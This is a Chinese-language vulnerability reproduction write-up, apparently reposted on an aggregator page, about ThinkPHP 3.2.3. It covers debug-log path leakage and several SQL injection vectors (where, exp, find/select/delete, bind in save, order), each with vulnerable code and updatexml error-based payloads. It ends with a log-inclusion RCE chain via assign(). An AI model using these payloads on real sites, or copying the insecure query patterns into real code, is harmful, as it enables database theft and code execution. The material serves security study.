[复现]Thinkphp3.2.3 漏洞 您所在的位置:网站首页 thinkphp漏洞总结 [复现]Thinkphp3.2.3 漏洞

[复现]Thinkphp3.2.3 漏洞

2024-07-13 04:17| 来源: 网络整理| 查看: 265

前言

纸上得来终觉浅,绝知此事要躬行。

缓存函数

注意 S() F() 函数 可控时会造成危害。

日志泄露

ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且日志结构容易被猜解,造成信息泄露。 THINKPHP3.1结构:Runtime/Logs/Home/年份_月份_日期.log THINKPHP3.2 结构:Application/Runtime/Logs/Home/年份_月份_日期.log 6 需要注意的是日志的路径不是绝对的,开发者可以修改的,平时可以收集下用时fuzz。

SQL 注入

user表 user

一个小例子

代码如下

$id = I("get.id"); $data = M("user")->where("id=$id")->find(); dump($data);

变量虽然用I()函数获取,但是直接拼接变量,造成SQL注入。 id=1) and updatexml(1,concat(0x7e, user(), 0x7e),1)-- 在这里插入图片描述

exp注入 $name = $_GET['name']; $data = M("user")->where(array("name"=>$name))->find(); dump($data);

变量必须是原生函数获取,如果使用I函数无法注入,where方法内传入的必须是数组而且可控。 name[0]=exp&name[1]=='' and updatexml(1,concat(0x7e,user(),0x7e),1)-- 在这里插入图片描述

find/select/delete注入 $id = I('id'); $res = M("user")->find($id); //$res = M("user")->select($id); //$res = M("user")->delete($id); dump($res);

演示下find()方法注入。 2 小结:

find() select()方法注入

id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

delete()方法注入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1 update() 注入 $user['name'] = I("name"); $data['pass'] = I("pass"); $res = M("user")->where($user)->save($data); dump($res);

user数组可控,变量用I函数获取,且使用save()方法。 name[0]=bind&name[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)--&pass=1 3

order注入 $name = I("name"); $order = I("order"); $res = M("user")->where(["name" => $name])->order($order)->find(); dump($res);

order()方法参数可控 order[updatexml(1,concat(0x3a,user()),1)]

5

RCE

业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

$value = I("get.value"); $this->assign($value); $this->display();

利用日志包含,先将payload写入日志内。

/index.php?m=Home&c=Index&a=index&test=-->

6 包含并执行日志内的代码

index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log

在这里插入图片描述 不一定要包含日志,只要能上传并解析代码就行。

参考

https://xz.aliyun.com/t/2629#toc-1 https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有